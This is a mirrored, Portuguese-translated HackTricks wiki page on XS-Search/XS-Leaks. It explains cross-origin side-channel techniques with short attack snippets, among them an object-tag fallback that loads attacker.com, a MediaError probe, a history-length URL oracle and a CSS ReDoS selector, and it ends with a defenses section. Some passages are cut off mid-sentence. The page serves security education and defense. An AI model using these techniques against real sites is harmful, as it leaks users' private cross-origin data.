Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

36 KiB
Raw Blame History

XS-Search/XS-Leaks


Use Trickest para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informações básicas

XS-Search é uma técnica orientada para exfiltrar informações de origem cruzada abusando de ataques de canal lateral.

Existem diferentes elementos nesse tipo de ataque:

  • Web vulnerável: é a web de onde queremos exfiltrar algumas informações
  • Web do atacante: é a web que o atacante cria contendo o exploit e que a vítima acessa
  • Método de inclusão: é o método usado para carregar a Web vulnerável a partir da Web do atacante (como window.open, iframe, fetch, tag HTML com href...)
  • Técnica de vazamento: após acessar a web vulnerável, uma técnica será usada para diferenciar entre o status potencial da web com as informações obtidas do método de inclusão usado.
  • Estados: os 2 possíveis estados que a web vulnerável pode ter dependendo da vítima que queremos diferenciar.
  • Diferenças detectáveis: estas são as informações que o atacante tem que tentar decidir o status da web vulnerável

Diferenças detectáveis

Para distinguir entre os 2 estados da página vulnerável, várias coisas podem ser observadas:

  • Código de status. Um atacante pode distinguir diferentes códigos de status de resposta HTTP de origem cruzada (por exemplo, erros do servidor, erros do cliente ou erros de autenticação).
  • Uso de API. Esta diferença detectável permite que um atacante detecte o uso de APIs da Web em páginas, permitindo que um atacante infira se uma página de origem cruzada está usando uma API da Web JavaScript específica.
  • Redirecionamentos. É possível detectar se um aplicativo da web navegou o usuário para uma página diferente. Isso não se limita a redirecionamentos HTTP, mas também inclui redirecionamentos acionados por JavaScript ou HTML.
  • Conteúdo da página. Essas diferenças detectáveis aparecem no corpo da resposta HTTP ou em sub-recursos incluídos pela página. Por exemplo, isso poderia ser o número de quadros incluídos (cf. XS-Leak no Gitlab) ou diferenças de tamanho de imagens.
  • Cabeçalho HTTP. Um atacante pode detectar a presença de um cabeçalho de resposta HTTP específico e pode ser capaz de reunir seu valor. Isso inclui cabeçal
<object data="//example.com/404">
  <object data="//attacker.com/?error"></object>
</object>

Neste caso, se example.com/404 não for encontrado, attacker.com/?error será carregado.

Tempo de carregamento

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Tempo de carregamento + Tarefa pesada forçada

Essa técnica é como a anterior, mas o atacante também forçará alguma ação a levar um tempo relevante quando a resposta for positiva ou negativa e medirá esse tempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Tempo de descarregamento / beforeunload

Os eventos unload e beforeunload podem ser usados para medir o tempo que leva para buscar um recurso. Isso funciona porque o beforeunload é acionado quando o navegador faz uma nova solicitação de navegação, enquanto o unload é acionado quando essa navegação realmente ocorre. De

Loop de Eventos Ocupado

  • Métodos de Inclusão:
  • Diferença Detectável: Tempo (geralmente devido ao conteúdo da página, código de status)
  • Mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Resumo: Mede o tempo de execução de um web locking o loop de eventos de uma thread e cronometrando quanto tempo leva para o loop de eventos ficar disponível novamente.
  • Exemplo de código:

Uma das principais vantagens dessa técnica é sua capacidade de contornar o Isolamento de Site, pois a origem do atacante pode influenciar a execução de outra origem.

{% hint style="warning" %} Em uma execução de tempo, é possível eliminar fatores de rede para obter medições mais precisas. Por exemplo, carregando os recursos usados pela página antes de carregá-la. {% endhint %}

Pool de Conexão

  • Métodos de Inclusão: Solicitações JavaScript
  • Diferença Detectável: Tempo (geralmente devido ao conteúdo da página, código de status)
  • Mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Resumo: Um atacante pode bloquear todos os soquetes, exceto 1, carregar a web de destino e, ao mesmo tempo, carregar outra página, o tempo até que a última página comece a carregar é o tempo que a página de destino levou para carregar.
  • Exemplo de código:

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Os navegadores usam soquetes para se comunicar com servidores. Como o sistema operacional e o hardware em que ele é executado têm recursos limitados, os navegadores têm que impor um limite. Para explorar a existência desse limite, os atacantes podem:

  1. Verifique qual é o limite do navegador, por exemplo, 256 soquetes globais.
  2. Bloqueie 255 soquetes por um longo período de tempo, realizando 255 solicitações a hosts diferentes que simplesmente penduram a conexão.
  3. Use o 256º soquete realizando uma solicitação à página de destino.
  4. Realize uma 257ª solicitação a outro host. Como todos os soquetes estão sendo usados ​​(nas etapas 2 e 3), essa solicitação deve esperar até que o pool receba um soquete disponível. Esse período de espera fornece ao atacante o tempo de sincronização da rede do 256º soquete, que pertence à página de destino. Isso funciona porque os 255 soquetes na etapa 2 ainda estão bloqueados, portanto, se o pool receber um soquete disponível, isso foi causado pela liberação do soquete na etapa 3. O tempo para liberar o 256º soquete está diretamente conectado ao tempo necessário para concluir a solicitação.

Para mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pool de Conexão por Destino

  • Métodos de Inclusão: Solicitações JavaScript
  • Diferença Detectável: Tempo (geralmente devido ao conteúdo da página, código de status)

Service Worker

Os service workers são contextos de script orientados a eventos que são executados em uma origem. Eles são executados em segundo plano de uma página da web e podem interceptar, modificar e armazenar em cache recursos para criar aplicativos da web offline.
Se um recurso armazenado em cache por um service worker é acessado via iframe, o recurso será carregado a partir do cache do service worker.
Para detectar se o recurso foi carregado a partir do cache do service worker, a API de desempenho pode ser usada.
Isso também pode ser feito com um ataque de temporização (verifique o artigo para obter mais informações).

Cache

Usando a API de desempenho, é possível verificar se um recurso está armazenado em cache.
Para mais informações: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

Duração da Rede

Técnica de Mensagens de Erro

Erro de Mídia

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
  document.getElementById("log").innerHTML += msg;
}

function startup() {
  let audioElement = document.getElementById("audio");
 // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
  document.getElementById("startTest").addEventListener("click", function() {
    audioElement.src = document.getElementById("testUrl").value;
  }, false);
  // Create the event handler
  var errHandler = function() {
    let err = this.error;    
    let message = err.message;
    let status = "";
    
    // Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
    // Firefox error.message when the request loads successfully: "Failed to init decoder"
    if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
      status = "Success";
    }else{
      status = "Error";
    }
    displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
  };
  audioElement.onerror = errHandler;
}

A propriedade de mensagem da interface MediaError contém uma string diferente para recursos que são carregados com sucesso. Isso permite que um atacante infira o status de resposta para um recurso de origem cruzada.

Erro de CORS

Essa técnica permite que um atacante vaze o alvo de um redirecionamento que é iniciado por um site de origem cruzada.

O CORS permite que recursos da web publicamente acessíveis sejam lidos e usados a partir de qualquer site. Nos navegadores baseados em Webkit, é possível acessar as mensagens de erro de CORS quando uma solicitação CORS falha. Um atacante pode enviar uma solicitação habilitada para CORS para um site de destino que redireciona com base no estado do usuário. Quando o navegador nega a solicitação, a URL completa do destino do redirecionamento é vazada na mensagem de erro. Com esse ataque, é possível detectar redirecionamentos, vazar locais de redirecionamento e parâmetros de consulta sensíveis.

Erro de SRI

Um atacante pode vazar o tamanho das respostas de origem cruzada devido a mensagens de erro verbosas.

O atributo de integridade define um hash criptográfico pelo qual o navegador pode verificar se um recurso buscado não foi manipulado. Esse mecanismo de segurança é chamado de Subresource Integrity (SRI). É usado para verificação de integridade de recursos servidos por redes de entrega de conteúdo (CDNs). Para evitar vazamentos de dados, os recursos de origem cruzada devem ser habilitados para CORS. Caso contrário, a resposta não é elegível para validação de integridade. Semelhante ao vazamento de erro de CORS XS-Leak, é possível capturar a mensagem de erro após uma solicitação de busca com um atributo de integridade falhar. Um atacante pode forçadamente disparar esse erro em qualquer solicitação especificando um valor de hash falso. Em SA, essa mensagem de erro vaza o comprimento do conteúdo do recurso solicitado. Um atacante pode usar esse vazamento para detectar diferenças no tamanho da resposta, o que permite poderosos ataques XS-Leak.

Violação/Detecção de CSP

Comprimento Máximo de URL - Lado do Cliente

De acordo com a documentação do Chromium, o comprimento máximo de URL do Chrome é de 2MB.

Em geral, a plataforma web não tem limites no comprimento de URLs (embora 2^31 seja um limite comum). O Chrome limita os URLs a um comprimento máximo de 2MB por razões práticas e para evitar problemas de negação de serviço na comunicação entre processos.

Portanto, se o URL de redirecionamento respondido for maior em um dos casos, é possível fazer com que ele redirecione com um URL maior que 2MB para atingir o limite de comprimento. Quando isso acontece, o Chrome mostra uma página about:blank#blocked.

A diferença perceptível é que se o redirecionamento foi concluído, window.origin lança um erro porque uma origem cruzada não pode acessar essa informação. No entanto, se o limite foi atingido e a página carregada foi about:blank#blocked, a origin da janela permanece a do pai, que é uma informação acessível.

Todas as informações extras necessárias para atingir os 2MB podem ser adicionadas por meio de um hash na URL inicial para que seja usado no redirecionamento.

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Máximo de Redirecionamentos

Se o número máximo de redirecionamentos a seguir de um navegador for 20, um invasor poderia tentar carregar sua página com 19 redirecionamentos e finalmente enviar a vítima para a página testada. Se um erro for acionado, então a página estava tentando redirecionar a vítima.

Comprimento do Histórico

A API de Histórico permite que o código JavaScript manipule o histórico do navegador, que salva as páginas visitadas por um usuário. Um invasor pode usar a propriedade length como um método de inclusão: para detectar navegações em JavaScript e HTML.
Verificando history.length, fazendo um usuário navegar para uma página, voltar para ela de volta para a mesma origem e verificando o novo valor de history.length.

Comprimento do Histórico com a mesma URL

  • Métodos de Inclusão: Frames, Pop-ups
  • Diferença Detectável: Se a URL é a mesma que a adivinhada
  • Resumo: É possível adivinhar se a localização de um frame/pop-up está em uma URL específica abusando do comprimento do histórico.
  • Exemplo de código: Abaixo

Um invasor poderia usar o código JavaScript para manipular a localização do frame/pop-up para uma adivinhada e imediatamente mudá-la para about:blank. Se o comprimento do histórico aumentar, significa que a URL estava correta e teve tempo para aumentar porque a URL não é recarregada se for a mesma. Se não aumentar, significa que ele tentou carregar a URL adivinhada mas porque imediatamente depois carregou about:blank, o comprimento do histórico nunca aumentou ao carregar a URL adivinhada.

async function debug(win, url) {
    win.location = url + '#aaa';
    win.location = 'about:blank';
    await new Promise(r => setTimeout(r, 500));
    return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Contagem de Frames

Contar o número de frames em uma página da web aberta via iframe ou window.open pode ajudar a identificar o status do usuário sobre essa página.
Além disso, se a página tiver sempre o mesmo número de frames, verificar continuamente o número de frames pode ajudar a identificar um padrão que pode vazar informações.

Um exemplo dessa técnica é que no Chrome, um PDF pode ser detectado com contagem de frames porque um embed é usado internamente. Existem [Par

Busca de Tempo

Busca Cruzada de Janelas


Use Trickest para construir e automatizar fluxos de trabalho com facilidade, usando as ferramentas da comunidade mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Com HTML ou Re Injeção

Aqui você pode encontrar técnicas para exfiltrar informações de um HTML de origem cruzada injetando conteúdo HTML. Essas técnicas são interessantes em casos em que, por qualquer motivo, você pode injetar HTML, mas não pode injetar código JS.

Marcação Pendurada

{% content-ref url="dangling-markup-html-scriptless-injection.md" %} dangling-markup-html-scriptless-injection.md {% endcontent-ref %}

Carregamento Lento de Imagem

Se você precisa exfiltrar conteúdo e pode adicionar HTML anterior ao segredo, você deve verificar as técnicas comuns de marcação pendurada.
No entanto, se por qualquer motivo você PRECISAR fazê-lo caractere por caractere (talvez a comunicação seja via um cache hit), você pode usar esse truque.

Imagens em HTML têm um atributo "loading" cujo valor pode ser "lazy". Nesse caso, a imagem será carregada quando for visualizada e não enquanto a página estiver carregando:

<img src=/something loading=lazy >

Portanto, o que você pode fazer é adicionar muitos caracteres aleatórios (por exemplo, milhares de "W") para preencher a página da web antes do segredo. Fazemos isso para que a imagem não seja carregada no início.

No entanto, você faz o bot acessar a página com algo como

#:~:text=SECR

Então a página da web será algo como: https://vitima.com/post.html#:~:text=SECR

Onde post.html contém os caracteres lixo do atacante e a imagem de carregamento lento e, em seguida, o segredo do bot é adicionado.

O que este texto fará é fazer com que o bot acesse qualquer texto na página que contenha o texto SECR. Como esse texto é o segredo e está logo abaixo da imagem, a imagem só será carregada se o segredo adivinhado estiver correto. Então, você tem seu oráculo para exfiltrar o caractere secreto por caractere.

Alguns exemplos de código para explorar isso: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Encontre outro exemplo usando carregamento lento aqui:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Se jQuery(location.hash) for usado, é possível descobrir por meio de temporização se algum conteúdo HTML existe, isso porque se o seletor main[id='site-main'] não corresponder, não é necessário verificar o restante dos seletores:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Injeção de CSS

{% content-ref url="xs-search/css-injection/" %} injeção de CSS {% endcontent-ref %}

Defesas

Nesta seção, você pode encontrar parte das mitigação recomendadas em https://xsinator.com/paper.pdf, no entanto, há mais mitigação em cada seção do wiki https://xsleaks.dev/. Dê uma olhada lá para obter mais informações sobre como se proteger contra essas técnicas.

Mitigações do Método de Inclusão

  • Elementos HTML. Pode-se usar o cabeçalho CORP para controlar se as páginas podem incorporar um recurso. O CORP pode ser definido como mesma origem ou mesmo site e bloqueia qualquer solicitação de origem cruzada ou respectivamente de site cruzado para esse recurso. No lado do cliente, os navegadores baseados em Chromium usam o algoritmo CORB para decidir se as solicitações de recursos de origem cruzada devem ser permitidas ou negadas.
  • Frames. A principal defesa para impedir que elementos iframe carreguem recursos HTML é o uso de X-Frame-Options. Alternativamente, a diretiva frame-ancestors CSP pode alcançar um resultado semelhante. Se a incorporação for negada, o método de inclusão não pode detectar uma diferença nas respostas.
  • Pop-ups. Para restringir o acesso a window.opener, o cabeçalho de resposta HTTP COOP define três valores diferentes: unsafe-none (padrão), same-origin-allow-popups e same-origin. Esses valores podem ser usados para isolar as guias de navegação e pop-ups e, portanto, mitigar as técnicas de vazamento baseadas em pop-ups.
  • Solicitações JavaScript. As solicitações JavaScript de origem cruzada são frequentemente usadas em ataques XS-Leak, porque um invasor tem controle refinado sobre a solicitação emitida. No entanto, como essas solicitações não são habilitadas para CORS, elas estão sujeitas às mesmas restrições que as solicitações enviadas por elementos HTML, como scripts ou imagens. Assim, o impacto dessa técnica de vazamento também pode ser mitigado por CORP e CORB.

Métodos mais genéricos:

  • Metadados de busca. Esses cabeçalhos de solicitação permitem que os proprietários do servidor entendam melhor como o navegador do usuário causou uma solicitação específica. No Chrome, os cabeçalhos Sec-Fetch-* são adicionados automaticamente a cada solicitação e fornecem metadados sobre a proveniência da solicitação. Por exemplo, Sec-Fetch-Dest: imagem foi acionado a partir de um elemento de imagem. As aplicações da Web podem então optar por bloquear solicitações com base nessas informações.
  • Cookies Same-Site. O sinalizador Same-Site permite que os sites declarem se um cookie deve ser restrito ao contexto de mesmo site ou de primeira parte. Todos os principais navegadores suportam cookies Same-Site. No GC, os cookies sem o atributo agora são Lax por padrão. Para XS-Leaks, os cookies Same-Site limitam drasticamente as possibilidades de ataque de vazamento. Por outro lado, as técnicas de vazamento que dependem de window.open ainda funcionam com SameSite=Lax. Os sites que usam outros métodos de autenticação, como certificados do lado do cliente e autenticação HTTP, permanecem vulneráveis.
  • Desvinculação de Identificador de Origem Cruzada (COIU). COIU, também conhecido como Isolamento de Primeira Parte (FPI), é um recurso de segurança opcional que os usuários podem habilitar nas configurações avançadas do FF (about:config) e foi inicialmente introduzido no Tor Browser. Em uma visão abstrata, é um contexto de mesmo site estendido. Ele vincula vários recursos (por exemplo, cookies, cache, armazenamentos do lado do cliente) à primeira parte em vez de compartilhá-los entre todos os sites visitados. Se habilitado, o COIU diminui drasticamente a aplicabilidade do XS-Leaks, pois apenas os métodos que usam pop-ups ainda são possíveis para atender ao requisito de primeira parte da política.
  • Proteções de Rastreamento. A Apple implementou um mecanismo de privacidade chamado Prevenção de Rastreamento Inteligente (ITP) no SA que visa combater o rastreamento entre sites limitando as capacidades de cookies e outras APIs da Web. Em versões mais recentes do SA, o ITP bloqueia todos os cookies de terceiros por padrão, sem exceções [74]. Esse bloqueio impede todos os vazamentos que não são baseados em pop-ups. O FF adotou uma abordagem semelhante com a Prevenção de Rastreamento Aprimorada (ETP), mas eles apenas bloqueiam cookies de terceiros específicos pertencentes a provedores de rastreamento. No contexto do XS-Leaks, o ETP apenas mitiga as técnicas de vazamento que visam esses domínios de rastreamento.
  • Extensões do Navegador. Usuários conscientes da segurança podem usar extensões do navegador para impedir certos métodos de inclusão.

Mitigações de Técnicas de Vazamento

  • Manipulador de Eventos. A mitigação mais eficaz nesta técnica de vazamento seria negá-los todos, mas isso quebraria a maioria das aplicações da Web na Internet. Portanto, propomos reduzir o número de informações necessárias que podem ser coletadas dentro dos eventos. Por exemplo, o evento de violação do CSP não deve conter a URL de destino de redirecionamento no campo blockedURI. Esse comportamento é implementado no FF e em versões mais recentes do GC - apenas o SA permanece vulnerável.
  • Mensagens de Erro. Para mitigar XS-Leaks baseados na técnica de vazamento de mensagens de erro, existem dois requisitos principais. Primeiro, as mensagens de erro não devem conter informações detalhadas, semelhantes às mensagens do manipulador de eventos. Em segundo lugar, os navegadores devem minimizar as ocorrências de mensagens de erro. XS-Leaks, como Erro SRI, XFO do ContentDocument ou Redirecionamento de Busca, detectam se uma mensagem de erro é lançada ou não.
  • Limites Globais. Corrigir as técnicas de vazamento que abusam dos limites globais é relativamente complexo porque eles dependem de restrições físicas. A recomendação geral é, portanto, restringir os limites globais em uma pequena base por site. Se o limite global for 1, como para a API de Pagamento, o invasor pode tentar silenciosamente ativar a interface do usuário de pagamento da Web a qualquer momento, o que só terá sucesso se a interface do usuário não estiver sendo usada simultaneamente por outra guia. Recomendamos acessar a API de Pagamento apenas quando um evento confiável